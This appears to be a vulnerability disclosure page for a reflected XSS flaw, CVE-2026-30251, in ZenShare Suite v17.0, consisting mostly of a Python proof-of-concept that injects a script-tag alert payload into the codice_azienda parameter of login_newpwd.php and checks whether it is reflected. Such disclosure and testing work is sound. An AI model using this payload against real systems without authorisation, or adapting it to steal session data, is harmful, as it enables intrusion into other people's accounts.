CVE-2026-30251: ZenShare Suite v17.0 反射型XSS漏洞

# Proof of Concept (PoC) for CVE-2026-30251 # Vulnerable Endpoint: login_newpwd.php # Vulnerable Parameter: codice_azienda import requests def check_xss(target_url): # Malicious JavaScript payload payload = "<script>alert('CVE-2026-30251_XSS');</script>" # Construct the full URL with the vulnerable parameter params = { "codice_azienda": payload } try: response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unmodified in the response if payload in response.text: print(f"[+] Vulnerability detected at: {response.url}") print("[+] The payload was reflected in the response.") else: print("[-] Payload not found or encoded. Vulnerability might be patched.") except Exception as e: print(f"Error occurred: {e}") if __name__ == "__main__": target = "http://example.com/login_newpwd.php" # Replace with actual target check_xss(target)